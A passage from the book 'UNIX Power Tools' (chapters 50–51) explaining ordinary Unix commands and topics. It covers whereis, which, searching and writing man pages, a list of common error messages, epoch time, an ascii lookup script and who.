This says that the executable file is /usr/ucb/more, the command's internal help file is /usr/lib/more.help, and the manual page is /usr/man/man1/more.1.

whereis has a few options worth mentioning. -b says "only report the executable name"; -m says "only report the location of the manual page"; -s means "only search for source files"; and -u says "only issue a report if any of the requested information (executable, manual page, source) is missing."

There are other options for modifying the list of directories through which whereis searches; if you need these, check your manual pages.

- ML

Previous: 50.4 whatis: One-Line Command Summaries | UNIX Power Tools | Next: 50.6 Searching Online Manual Pages
50.4 whatis: One-Line Command Summaries | Book Index | 50.6 Searching Online Manual Pages
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 50] 50.6 Searching Online Manual Pages

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 50.5 whereis: Finding Where a Command Is Located Chapter 50
Help--Online Documentation, etc. 		Next: 50.7 How UNIX Systems Remember Their Name

50.6 Searching Online Manual Pages

When the other techniques in this chapter don't find the information you want, you can try searching the online manual page (50.1) files. You'll probably have to wade through a lot of stuff that you don't want to see, but this method can work when nothing else does. As an example, you remember that there's some command for chopping columns out of a file. You try apropos (50.2), but it only mentions colrm and pr, and those aren't what you want. You'll usually be able to narrow your search to one or two manual page sections (50.1); here, you know that user commands are in section 1. So you go to the manual pages and do a case-insensitive search through all the files for "column" or "chop":

% cd /usr/man/man1
% egrep -i 'column|chop' *
awk.1:Add up first column, print sum and average:
colrm.1:colrm \- remove characters from specified columns within each line
  ...
cut.1:.IX  cut  ""  "\fIcut\fP \(em remove columns from file"
  ...

It's cut! Notice that awk also handles columns, but apropos doesn't say so.

(I cheated on that example: there were other ways to find cut-using the synonym apropos field instead of apropos column, for instance. But this method does work in tougher cases.) To search the manual page files, you'll need to know where they're stored. There are lots of possibilities, but the directories /usr/man or /usr/share/man are good places to look. If the command is local, try /usr/local/man and maybe /opt (a big tree where find (17.4) can help). If your system has fast find or locate (17.18), try searching for man or */man*.

You'll probably find subdirectories with names like man1, man2, ... and/or cat1, cat2, .... Directory names like manN will have unformatted source files for section N; the catN directories have formatted source files. Or you may just find files named command.N, where N is 1 for section 1, 2 for section 2, and so on.

There are two types of manpage files: unformatted (shown in article 50.11) and formatted (with overstriking, as in article 43.18). The unformatted pages are easier to search because none of the words will have embedded backspace characters. The example above shows how. The unformatted pages have nroff (43.13) commands and macros in them, though, which can make searching and reading tougher.

To search formatted pages, you'll want to strip the embedded backspace characters. Otherwise, grep might miss the word you want because it was boldfaced or underlined - with backspaces in it. In the example below, a shell loop (9.11, 9.12) applies a series of commands to each file. First, col -b (43.18) removes the overstriking. grep does a search (case-insensitive, as before). Because grep is reading its standard input, it doesn't know the filename, so a little sed command adds the name to the start of every line grep outputs.

*

$ cd /usr/man/cat1
$ for file in *
> do col -b < $file | grep -i column | sed "s/^/${file}:/"
> done
awk.1:   Add up first column, print   sum and average:
   ...
cut.1:   Use cut to cut out columns from a table or fields from each
   ...

In Bourne shells, you can pipe the output of that loop to a pager (like less (25.4)) to see the output a screenful at a time and quit (with q) when you're done. Change the last line of the for loop to:

done | less

- JP

Previous: 50.5 whereis: Finding Where a Command Is Located | UNIX Power Tools | Next: 50.7 How UNIX Systems Remember Their Name
50.5 whereis: Finding Where a Command Is Located | Book Index | 50.7 How UNIX Systems Remember Their Name
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 50] 50.7 How UNIX Systems Remember Their Name

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 50.6 Searching Online Manual Pages Chapter 50
Help--Online Documentation, etc. 		Next: 50.8 Which Version Am I Using?

50.7 How UNIX Systems Remember Their Name

uname
Each computer on a network needs a name. On many UNIX versions, the uname -n command shows you this name. (GNU uname is on the CD-ROM. The install program will only install uname if your system has the facilities to work with it.) On some systems, the command hostname or uuname -l (two us, lowercase L) may be what you want. If you use more than one system, the hostname is great to use in a shell prompt - or any time you forget where you're logged in.

- JP

Previous: 50.6 Searching Online Manual Pages | UNIX Power Tools | Next: 50.8 Which Version Am I Using?
50.6 Searching Online Manual Pages | Book Index | 50.8 Which Version Am I Using?
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 50] 50.8 Which Version Am I Using?

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 50.7 How UNIX Systems Remember Their Name Chapter 50
Help--Online Documentation, etc. 		Next: 50.9 Reading a Permuted Index

50.8 Which Version Am I Using?

The which command is a real life saver. It has become increasingly important in the last few years. Many vendors (like Sun) are providing separate directories of BSD-compatible and System V-compatible commands. Which command you'll get depends on your PATH (6.4) environment variable. It's often essential to know which version you're using. For example:

% which sort
/bin/sort

tells me exactly which version of the sort program I'm using. (Under SunOS 4.1, this is the BSD-compatible version in /bin, not the System V version in /usr/5bin.)

You'll find that which comes in handy in lots of other situations. I find that I'm always using which inside of backquotes to get a precise path. For example, when I was writing these articles, I started wondering whether or not man, apropos, and whatis were really the same executable. It's a simple question, but one I had never bothered to think about. There's one good way to find out:

% ls -li `which man` `which apropos` `which whatis`
102352 -rwxr-xr-x  3 root        24576 Feb  8  1990 /usr/ucb/apropos
102352 -rwxr-xr-x  3 root        24576 Feb  8  1990 /usr/ucb/man
102352 -rwxr-xr-x  3 root        24576 Feb  8  1990 /usr/ucb/whatis

What does this tell us? First, the three commands have the same file size, which means that they're likely to be identical; furthermore, each file has three links, meaning that each file has three names. The -i option confirms it; all three files have the same i-number (1.22). So, apropos, man, and whatis are just one executable file that has three hard links.

which
A few System V implementations don't have a which command. The version of which on the CD-ROM is even better than the BSD which, anyway. By default, this new which works about the same as the BSD which. The new which has a big plus: it doesn't try to read your .cshrc file to see what aliases you've set there. Instead, you set it up with its -\i option to read your shell's current list of aliases. This lets the new which show aliases that you've typed at a prompt and haven't stored in .cshrc. The new which also works in Bourne-like shells (1.8) that have shell functions (10.9).
csh_init
sh_init
To make the new which read your current aliases, you need a trick. Here's the trick: make an alias or shell function that runs which, passing the definition (if any) of the alias or function you name.

Let's look at the setup, then explain it. For the C shell, use the following line in your .cshrc file:

!\$ !\*
alias which alias !\$  /usr/local/bin/which -i !\*

(There's a similar shell function on the CD-ROM.) For this example, let's say you've also defined an alias for sort that looks like:

alias sort /usr/local/bin/quicksort

Okay. To run which, you type:

% which sort
sort    /usr/local/bin/quicksort

How did that work? The C shell runs the alias you defined for which. In this example, that executes the following command:

alias sort | /usr/local/bin/which -i sort

The first part of that command, alias sort, will pipe the definition of the sort alias to the standard input of /usr/local/bin/which -i sort. When /usr/local/bin/which -i sort sees an alias definition on its standard input, it outputs that definition.

What if you ask which to find a command that you haven't aliased?

% which tr
/bin/tr

The shell runs this command:

alias tr | /usr/local/bin/which -i tr

Because there's no alias for tr, the shell command alias tr sends no output down the pipe. When /usr/local/bin/which -i tr doesn't read text on standard input, it looks through your search path for the first command named tr.

Nice trick, isn't it? Maarten Litmaath, the program's author, is a clever guy.

That's not all the new which can do. With the -a option, it shows any alias you name and also searches your path for all commands with that name. This is useful when you want to know all available versions of the command. Let's end this article with an example from the manual page. The first command shows all aliases (in this case, that's just the alias for the new which). Second, we run the new which to find which which we're running :-); it shows the alias for which. Third, the -a option shows all available whiches:

% alias
which   alias !$ | /usr/local/bin/which -i !*
% which which
which   alias !$ | /usr/local/bin/which -i !*
% which -a which
which   alias !$ | /usr/local/bin/which -i !*
/usr/local/bin/which
/usr/ucb/which
%

- ML, JP, MAL

Previous: 50.7 How UNIX Systems Remember Their Name | UNIX Power Tools | Next: 50.9 Reading a Permuted Index
50.7 How UNIX Systems Remember Their Name | Book Index | 50.9 Reading a Permuted Index
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 50] 50.9 Reading a Permuted Index

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 50.8 Which Version Am I Using? Chapter 50
Help--Online Documentation, etc. 		Next: 50.10 Make Your Own Man Pages Without Learning troff

50.9 Reading a Permuted Index

The first time that people new to UNIX take a look at the front of the system's UNIX Reference Manual, they are likely to be surprised by the most unlikely looking document: the ubiquitous permuted index. The index looks something like the one shown below, which actually shows a complete permuted index based on the three commands ar, at, and awk. This miniature index is used as an example throughout this article.

                          maintainer   ar: archive and library ........... ar(1)
                                 ar:   archive and library maintainer .... ar(1)
                                time   at: execute commands at a later ... at(1)
                 processing language   awk: pattern scanning and ......... awk(1)
                         at: execute   commands at a later time .......... at(1)
                                 at:   execute commands at a later time .. at(1)
awk: pattern scanning and processing   language .......................... awk(1)
           at: execute commands at a   later time ........................ at(1)
                     ar: archive and   library maintainer ................ ar(1)
             ar: archive and library   maintainer ........................ ar(1)
                       language awk:   pattern scanning and processing ... awk(1)
           awk: pattern scanning and   processing language ............... awk(1)
                        awk: pattern   scanning and processing language .. awk(1)
     at: execute commands at a later   time .............................. at(1)

Like the UNIX Reference Manual itself, the permuted index takes a little getting used to, but it is fairly useful once that hurdle has been crossed. To find the command you want, simply scan down the middle of the page, looking for a keyword of interest on the right side of the blank gutter. When you find the keyword you want, you can read (with contortions) the brief description of the command that makes up the entry. If things still look promising, you can look all the way over to the right for the name of the relevant command page.

The key to the UNIX Reference Manual is the fact that each command is treated on a separate page - there are no continuous page numbers. This makes it easy to add new pages whenever a new command is added to the system. At the same time, if you know the name of a command, information about it is always easy to find because pages are ordered alphabetically, just like they are in a dictionary.

But what if you don't know which command to look for in the first place? If you are at a terminal on a Berkeley UNIX system, you can use the apropos (50.2) command, like this:

% apropos scanning
awk(1) - pattern scanning and processing language

But if you're using another UNIX variant or you are not at a terminal, the permuted index is your best bet.

- TOR

Previous: 50.8 Which Version Am I Using? | UNIX Power Tools | Next: 50.10 Make Your Own Man Pages Without Learning troff
50.8 Which Version Am I Using? | Book Index | 50.10 Make Your Own Man Pages Without Learning troff
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 50] 50.10 Make Your Own Man Pages Without Learning troff

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 50.9 Reading a Permuted Index Chapter 50
Help--Online Documentation, etc. 		Next: 50.11 Writing a Simple Man Page with the -man Macros

50.10 Make Your Own Man Pages Without Learning troff

We strongly suggest that you write a manual page for each command that you place in your bin directory. UNIX manual pages typically have the following format, which we suggest you follow:

NAME
     the program's name - one line summary of what it does

SYNOPSIS
     how to invoke the program, including all arguments and
     command-line options. (Optional arguments
     are placed in square brackets)

DESCRIPTION
     a description of what the program does-as long as is necessary

OPTIONS
     an explanation of each option

EXAMPLES
     One or more examples of how to use the program

ENVIRONMENT
     Any environment variables that control the program's behavior

FILES
     Files the program internals will read or write.  May include
     temporary files.  Doesn't include files on the command line.

BUGS
     Any known bugs. The standard manual pages don't take
     bug-recording seriously, but this can be very helpful.

AUTHOR
     Who wrote the program

To see how a "real" manual page looks, type man ls.

Feel free to add any other sections that you think are necessary. You can use the nroff (43.13) -man macros (50.11) if you want a nicely formatted manual page. However, nroff is fairly complicated and, for this purpose, not really necessary. Just create a text file that looks like the one we showed above. If you are using a BSD system and want your manual pages formatted with nroff, look at any of the files in /usr/man/man1 and copy it.

Hint: If you insist on formatting your manual page properly, using the troff or groff "man" macros, you can use nroff to preview the file. The man (50.1) command is essentially the same as:

more -s
% nroff -e -man filename | more -s

You can safely omit the -e option to nroff and the -s option to more. And remember that nroff may not be available on many versions of System V UNIX, but the Power Tools disc has gnroff and awf (43.17).

Now, you want to make this manual page "readable" by the standard man command. For BSD systems, there are a few ways to do this. Create the directory man in your home directory; create the directory cat1 as a subdirectory of man; then copy your manual entry into cat1, with the name program.1 (where program is the name of your special command). When you want to read the manual page, give the command:

~
% man -M ~/man program

Shortcut: We like to be more strict about naming things properly, but you can omit the man directory, and just put the cat1 directory into your home directory. In this case, the command would be:

% man -M ~ program

Some systems have a MANPATH environment variable (6.1), a colon-separated list of directories where the man command should look. For example, my MANPATH contains:

/home/mike/man:/usr/local/man:/usr/man

MANPATH can be more convenient than the -M option.

HINT: We are telling you to put the manual page into the cat1 directory rather than the man1 directory because the man program assumes that files in cat1 are already formatted.

If you are sharing your program with other people on the system, you should put your manual entry in a public place. Become superuser and copy your documentation into /usr/local/man/catl, giving it the name program.l (the "l" stands for "local"). If you can't become superuser, get the system administrator to do it for you. Make sure that everyone can read the manual page; the permissions should be something like this:

% ls -l /usr/local/man/catl
-r--r--r--  1 root          468 Aug  5 09:21 program.l

Then give the command man program to read your documentation.

If you are working on some System V variants, the rules are a little different. The organization of the manual pages and the man command itself are slightly different - and really, not as good. Write your manual entry and place it in your doc directory. Then create the following C shell alias (10.3):

alias myman "(cd ~/doc; man -d \!$ | pg)"

or shell function (10.9):

myman() { (cd $HOME/doc; man -d "$1" | pg); }

Now the command myman docfilename will retrieve your manual page. Note that if you use a section-number extension like .1, you have to give the entire filename (e.g., program.1), not just the program's name.

If you want to make your manual page publicly available, copy the file into the directory /usr/man/u_man/man1; you may have to become superuser to do so. Make sure that anyone on the system can read your file. If the entry is extremely long and you want to save space in your filesystem, you can use the pack utility on your documentation file. The resulting file will have the name program.1.z; the man command will automatically unpack the file whenever anyone reads it.

- ML

Previous: 50.9 Reading a Permuted Index | UNIX Power Tools | Next: 50.11 Writing a Simple Man Page with the -man Macros
50.9 Reading a Permuted Index | Book Index | 50.11 Writing a Simple Man Page with the -man Macros
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 50] 50.11 Writing a Simple Man Page with the -man Macros

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 50.10 Make Your Own Man Pages Without Learning troff Chapter 50
Help--Online Documentation, etc. 		Next: 50.12 Common UNIX Error Messages

50.11 Writing a Simple Man Page with the -man Macros

If you're not satisfied with the simple manual pages we discussed in article 50.10, here's how to go all the way and create a "real" manual page. As we said, the best way to create a manual page is to copy one that already exists. So here's a sample for you to copy. Rather than discuss it blow by blow, I'll include lots of comments (these start with .\" or \").

1

apropos

.\" Title: Program name, manual section, and date
.TH GRIND 1
.\" Section heading: NAME, followed by command name and one line summary
.\" It's important to copy this exactly; the "whatis" database (used
.\"for apropos) looks for the summary line.
.SH NAME
.\"grind \- create output from input
.\" Section heading: SYNOPSIS, followed by syntax summary
.SH SYNOPSIS
.B grind              \" .B: bold font; use it for the command name.
[ -b ] [ -c ] [ -d ]  \" Put optional arguments in square brackets.
[ input [ output ]]   \" Arguments can be spread across several lines.
.br                   \" End the synopsis with an explicit line break (.br)
.\" A new section: DESCRIPTION, followed by what the command does
.SH DESCRIPTION
.I Grind       \" .I:  Italic font for the word "Grind"
performs lots of computations. Input to
.IR grind ,    \" .IR: One word italic, next word roman, no space between.
is taken from the file
.IR input ,
and output is sent to the file
.IR output ,
which default to standard input and standard output if not specified.
.\" Another section: now we're going to discuss the -b, -c, and -d options
.SH OPTIONS
.\" The .TP macro precedes each option
.TP
.B \-b  \" print the -b option in bold.
Print output in binary.
.TP
.B \-c  \" \- requests a minus sign, which is preferable to a hyphen (-)
Eliminate ASCII characters from input before processing.
.TP
.B \-d
Cause daemons to overrun your computer.
.\" OK, we're done with the description and the options; now mention
.\" other requirements (like environment and files needed) as well as
.\" what can go wrong. You can add any other sections you want.
.SH FILES
.PD 0
.TP 20
.B /dev/null
data file
.TP
.B /tmp/grind*
temporary file (typically 100 Megabytes)
.PD
.SH BUGS
In order to optimize computational speed, this program always produces
the same result, independent of the input.
.\" Use .LP between paragraphs
.LP
If the moon is full,
.I grind
may destroy your input file. To say nothing of your sex life.
.\" Good manual pages end by stating who wrote the program.
.SH AUTHOR
I wouldn't admit to this hack if my life depended on it.

After all that, you should have noticed that there are four important macros, listed in Table 50.2, to know about.

Table 50.2: Important -man Macros
Macro | Meaning
.TH | Title of the manual page.
.SH | Section heading; one for each section.
.TP | Formats options correctly (sets up the "hanging indent").
.LP | Used between paragraphs in a section.

For some arcane reason, all manual pages use the silly .B, .BI, etc., macros to make font changes. I've adhered to this style in the example, but it's much easier to use "in line" font changes: \fI for italic, \fB for bold, and \fR for roman. There may be some systems on which this doesn't work properly, but I've never seen any.

- ML

Previous: 50.10 Make Your Own Man Pages Without Learning troff | UNIX Power Tools | Next: 50.12 Common UNIX Error Messages
50.10 Make Your Own Man Pages Without Learning troff | Book Index | 50.12 Common UNIX Error Messages
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 50] 50.12 Common UNIX Error Messages

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 50.11 Writing a Simple Man Page with the -man Macros Chapter 50
Help--Online Documentation, etc. 		Next: 51. Miscellaneous Useful Programs and Curiosities

50.12 Common UNIX Error Messages

For new UNIX users, one common frustration is that error messages are often nonexistent, usually terse, and often extremely obscure. Something like Command not found is reasonably self-explanatory, most of the time; but what about You don't exist. Go away.?

Here, I cover some of the more common, obscure, or amusing messages that are around [or were around. Many versions of UNIX have been "sanitized." Instead of "Intruder alert!," for example, SunOS 4.1.3 says "no login associated with uid num." Pity. :-) -JP ]. I'll try to keep it brief, which means that it will be far from comprehensive. A complete list of all the messages you might get could easily fill a book - and lots of the messages report situations that you'd have to try very hard to reconstruct.

arguments too long

UNIX has an unfortunate limit to the maximum length (in characters) of all arguments you can put on the command line. This limit was originally fairly small; in the past few years, it's become quite large (5120 characters on SVR4), but no one has yet fixed the basic problem. So if you give a command like ls  /*/*/*/* (15.1),you're very likely to find out that your argument list is too long. Workarounds for this problem are discussed in articles 9.21 and 9.23.

awk: bailing out near line n

You're running an awk (33.11) script that has a syntax error. The standard awk is incredibly uninformative about syntax errors; this is all the help you're likely to get. Newer versions (like nawk and gawk (33.12)) have more intelligent error messages.

bad magic number

You're most likely to get this message when you give a UNIX command. You can also get this message from programs like ld, the link editor for programmers. A "magic number" is a special number in an executable file that tells the kernel what kind of file it's dealing with. If you get this message, the file you're trying to execute may have been corrupted; or it may be an executable for another kind of computer; or it may not be an executable file at all.

broken pipe

This message appears when you're running a pipeline, and one part of the pipeline terminates before the rest. For example, say you're running the command:

% ls -l | more

If the more program quits (for any reason, like using its "quit" command) before it has read all the data from ls, you have a "broken pipe."

bus error (core dumped)

This is similar in nature to a segmentation fault. There's a subtle difference in that a "bus error" means that the kernel didn't detect the problem on its own; the memory system (i.e., hardware) realized that there was a problem. On many UNIX systems, this message can mean that you're trying to do an I/O operation incorrectly - you may be trying to access a device that doesn't exist, or something of that nature. What does I/O have to do with memory? A lot, but that's beyond the bounds of this book.

somecmd: command not found

You probably either misspelled the name of the command or it isn't in your search path (8.7). The more insidious form of this error happens when you're writing a script for the shell, Perl, awk, etc. with the #! notation (45.3). You double-check the command name and your path; which (50.8) tells you the command can be found. The trouble is probably an incorrect pathname for the interpreter, like #!/bin/hs for an sh script.

cross-device link

You attempted to create a hard link to a file on another filesystem. Try a symbolic link (18.4) instead.

directory not empty

You tried to delete a directory that's not empty, and rmdir won't let you. The solution is simple enough; but often, when you try to list the directory, it will look empty. Did you check for "invisible" filenames (16.11) (most likely, filenames beginning with a dot)? There are probably a few "turds" left over from some editing session. If you're absolutely sure that none of these invisible files are meaningful, just use rm -rf (23.10, 23.17).

intruder alert!

Comes from whoami, and means that whoami can't look you up in the /etc/passwd (36.3) file. This probably means that someone managed to delete or corrupt /etc/passwd.

make: must be a separator on rules line 46

The bane of everyone who uses make (28.13). make's "rules" lines must begin with a TAB character. Spaces are not acceptable. This means that you used spaces, rather than a tab. Some editors (and reportedly, even some networks) will change tabs to spaces automatically - so even if you've been careful to observe the rule, you may still run across this message.

not a typewriter

As someone on the Net said, "Damn right, this isn't a typewriter. That's a problem?" Seriously, though: this is an obsolete message that still crops up occasionally. It means that the program attempted to perform some I/O operation that would be legal on a terminal, except that it wasn't writing to a terminal: it was writing to a file, or to a pipe, etc.

not enough memory

There isn't enough swap space (52.9) to run your program. Note that many modern UNIX systems allow the system administrator to create new "swapping files"; this may help you to work around the problem without reconfiguring a disk drive. Under SunOS, for example, you'd use the mkfile and swapon commands to solve this problem.

segmentation fault (core dumped)

A segmentation fault means that the program you're running attempted to read or write some address in memory that wasn't assigned to it. If it's a program that you wrote, a segmentation fault probably means that a pointer is pointing to something strange. If it's a standard UNIX utility, well - it really means the same thing (not that it helps). Most likely, though, you've given the program strange input - the input may be illegal, there may be more than the program can handle, etc.

typesetter busy

I've seen this when using troff (43.12); it usually means that you haven't specified the output device correctly; i.e., that you haven't used the -t option, which sends the output to standard output, for post-processing by some translator. Actually, it's very rare for a user to invoke troff directly. troff is usually run through some kind of a shell script. If you see this message, the shell script is doing the wrong thing. What does the message really mean? Simple. troff, on its own, generates output for a C/A/T phototypesetter. These typesetters were obsolete 10 or 15 years ago, and are now probably all rusting in junk heaps. But nobody bothered to change troff. If you don't include the -t option, troff tries to send the output to the typesetter; when it fails (because the typesetter doesn't exist), troff decides that the typesetter must be "busy."

who are you?

Comes from lpr (43.2), and means that lpr can't look you up in the /etc/passwd (36.3) file. This probably means that someone managed to delete or corrupt /etc/passwd.

you don't exist. Go away.

I've never actually seen this message, though it's part of the UNIX mythology. Reportedly, it can come from the talk (1.33) program when you try to talk from a tty or (usually) a pty (41.8) that isn't in the list of logged-in users, /etc/utmp. One of our readers got the message as he tried to reboot his computer after accidentally removing the root entry in /etc/passwd 8-(.

While a lot of the error messages are more-or-less standard, a lot of them vary from vendor to vendor; some vendors have tried to protect you from the worst abuse. I hope that all systems incorporating the legendary "Don't you hate obscure messages" error message long since disappeared.

- ML

Previous: 50.11 Writing a Simple Man Page with the -man Macros | UNIX Power Tools | Next: 51. Miscellaneous Useful Programs and Curiosities
50.11 Writing a Simple Man Page with the -man Macros | Book Index | 51. Miscellaneous Useful Programs and Curiosities
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 51] Miscellaneous Useful Programs and Curiosities

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 50.12 Common UNIX Error Messages Chapter 51 Next: 51.2 How UNIX Keeps Time

51. Miscellaneous Useful Programs and Curiosities

Contents:
We Are Finally Getting to the Bottom of the Bucket
How UNIX Keeps Time
ASCII Characters: Listing and Getting Values
Who's On?
Copy What You Do with script
Cleaning script Files
When You Get Impatient
Type Bang Splat. Don't Forget the Rabbit Ears
Making a "Login" Shell
The date Command
Making an Arbitrary-Size File for Testing
You Don't Have Enough Smileys?

51.1 We Are Finally Getting to the Bottom of the Bucket

OK. This is it: the miscellaneous chapter in the miscellaneous section of a rather miscellaneous book!

This chapter contains the articles that we edited out of other chapters but didn't want to throw away, stuff that really didn't fit anywhere else, and even a few things that probably would have fit in quite well elsewhere...but were added so late that they would have given our production staff fits if we'd tried to shoehorn them into earlier chapters!

- TOR

Previous: 50.12 Common UNIX Error Messages | UNIX Power Tools | Next: 51.2 How UNIX Keeps Time
50.12 Common UNIX Error Messages | Book Index | 51.2 How UNIX Keeps Time
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 51] 51.2 How UNIX Keeps Time

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 51.1 We Are Finally Getting to the Bottom of the Bucket Chapter 51
Miscellaneous Useful Programs and Curiosities 		Next: 51.3 ASCII Characters: Listing and Getting Values

51.2 How UNIX Keeps Time

Like all other operating systems, UNIX has a concept of the time. And virtually all UNIX systems, even the smallest, include a clock with some sort of battery backup built in.

All UNIX systems keep time by counting the number of microseconds since midnight, January 1, 1970, Greenwich Mean Time. This date is commonly called the epoch, and has folk-significance as the begining of the UNIX era. Although the first work on UNIX began in the late '60s, the first versions of UNIX were available (within Bell Laboratories) in the early '70s.

This count gets updated roughly 60 times per second. The exact rate depends on your particular UNIX system and is determined by the constant, HZ, defined in the header file /usr/include/sys/param.h:

#define   HZ   60

This is the time's "resolution," and is often referred to as the clock's "tick." Note that it has nothing to do with your system's CPU clock rate. Time measurements are normally no more precise than your system's clock resolution, although some systems have added facilities for more precise timing.

If your UNIX system belongs to a network, it is important to keep all the clocks on the network "in sync." Strange things happen if you copy a file from one system to another and its date appears to be some time in the future. Many UNIX systems run a time daemon (one of those mysterious helper programs (1.14)), which takes care of this.

UNIX automatically keeps track of daylight savings time, leap years, and other chronological trivia. When the system is installed, you have to tell it your time zone and the style of daylight savings time you want to observe. As UNIX has become an international standard, the number of time zones (and obscure ways of handling daylight savings time) it can handle correctly has proliferated. In a few cases, you still have to handle these things by hand; for example, in Great Britain, the beginning and end of daylight savings time are set annually by Parliament, on advice from the Navy, and thus changes every year. Care for Libyan Standard Time?

UNIX's internal routines compute time in relation to the epoch, but there is no reason for you to worry about it unless you're a C programmer. A library of time routines can convert between this internal representation and more usable representations; see the UNIX manual page for ctime(3).

- ML

Previous: 51.1 We Are Finally Getting to the Bottom of the Bucket | UNIX Power Tools | Next: 51.3 ASCII Characters: Listing and Getting Values
51.1 We Are Finally Getting to the Bottom of the Bucket | Book Index | 51.3 ASCII Characters: Listing and Getting Values
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 51] 51.3 ASCII Characters: Listing and Getting Values

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 51.2 How UNIX Keeps Time Chapter 51
Miscellaneous Useful Programs and Curiosities 		Next: 51.4 Who's On?

51.3 ASCII Characters: Listing and Getting Values

Many UNIX systems come with a file named ascii-in a directory named something like /usr/pub or /usr/share/lib/pub. It's a list of the ASCII character set with the octal and hexadecimal value of each character. Here are two lines from the octal section:

|030 can|031 em |032 sub|033 esc|034 fs |035 gs |036 rs |037 us |
|040 sp |041  ! |042  " |043  # |044  $ |045  % |046  & |047  ' |

It's saying, for instance, that an escape (esc) character has a value of 033 octal, and the percent sign (%) is 045 octal.

If your system doesn't have a file like that, you can type one in by hand in a few minutes; start with a printed ASCII chart or the ascii(7) or ascii(5) manual pages. You might also want to make your own version and replace names like sub with the key you'd type to get that character (in this case, the two-character representation ^Z). If your UNIX system doesn't use ASCII, you can make a similar file for it.

Once you have that file, the following shell script, named ascii, can search for the octal value of a character. For example:

% ascii esc
033
% ascii a
141
% ascii \&
046

Remember to escape special characters (8.19) as I did with that ampersand (&). Here's the script:

case

\(..\)..\1

#!/bin/sh
file=/usr/pub/ascii
# Make pattern with spaces to match field in $file exactly:
case "$1" in
[[\\/]) pat=" \\$1 " ;;    # lets us search for [, \ and /
?)   pat=" $1 " ;;
??)   pat="$1 " ;;
???)   pat="$1" ;;
*)   echo "Usage: `basename $0` char
   (char must be single character like 'a' or name like 'soh')." 1>&2
   exit 1
   ;;
esac
sed -n "1,/^\$/s/.*|\([0-9][0-9][0-9]\) $pat|.*/\1/p" $file

The script makes a sed (34.24) expression that exactly matches an entry in the first section of the ascii file (before the blank line that starts the hexadecimal section). For example, the command ascii a stores [image] a [image] in the pat shell variable; the sed substitute command becomes:

s/|nnn      a   |/nnn/p

where [image] stands for a space and nnn stands for the octal value of the entry for a.

The jot (45.11) command also translates a numeric value to the character it represents. But jot doesn't show non-printable characters by name (like esc).

- JP

Previous: 51.2 How UNIX Keeps Time | UNIX Power Tools | Next: 51.4 Who's On?
51.2 How UNIX Keeps Time | Book Index | 51.4 Who's On?
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 51] 51.4 Who's On?

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 51.3 ASCII Characters: Listing and Getting Values Chapter 51
Miscellaneous Useful Programs and Curiosities 		Next: 51.5 Copy What You Do with script

51.4 Who's On?

The who command lists the users logged on to the system now. Here's an example of the output on my system:

% who
naylor   ttyZ1   Nov  6 08:25
hal      ttyp0   Oct 20 16:04   (zebra.ora.com:0.)
pmui     ttyp1   Nov  4 17:21   (dud.ora.com:0.0)
jpeek    ttyp2   Nov  5 23:08   (jpeek.com)
hal      ttyp3   Oct 28 15:43   (zebra.ora.com:0.)
    ...

Each line shows a different terminal or window. The columns show the username logged on, the tty (3.8) number, the login time, and, if the user is coming in via a network (1.33), you'll see (in parentheses) their location. The user hal is logged on twice, for instance.

It's handy to search the output of who with grep (27.1)- especially on systems with a lot of users. For example:

-v
% who | grep "^hal "             ...where is hal logged on?
% who | grep "Nov  6"            ...who logged on today?
% who | grep -v "Nov  6"         ...who logged on before today?
    ...

who
 The GNU who, on the CD-ROM, has more features than some other versions.

- JP

Previous: 51.3 ASCII Characters: Listing and Getting Values | UNIX Power Tools | Next: 51.5 Copy What You Do with script
51.3 ASCII Characters: Listing and Getting Values | Book Index | 51.5 Copy What You Do with script
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 51] 51.5 Copy What You Do with script

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 51.4 Who's On? Chapter 51
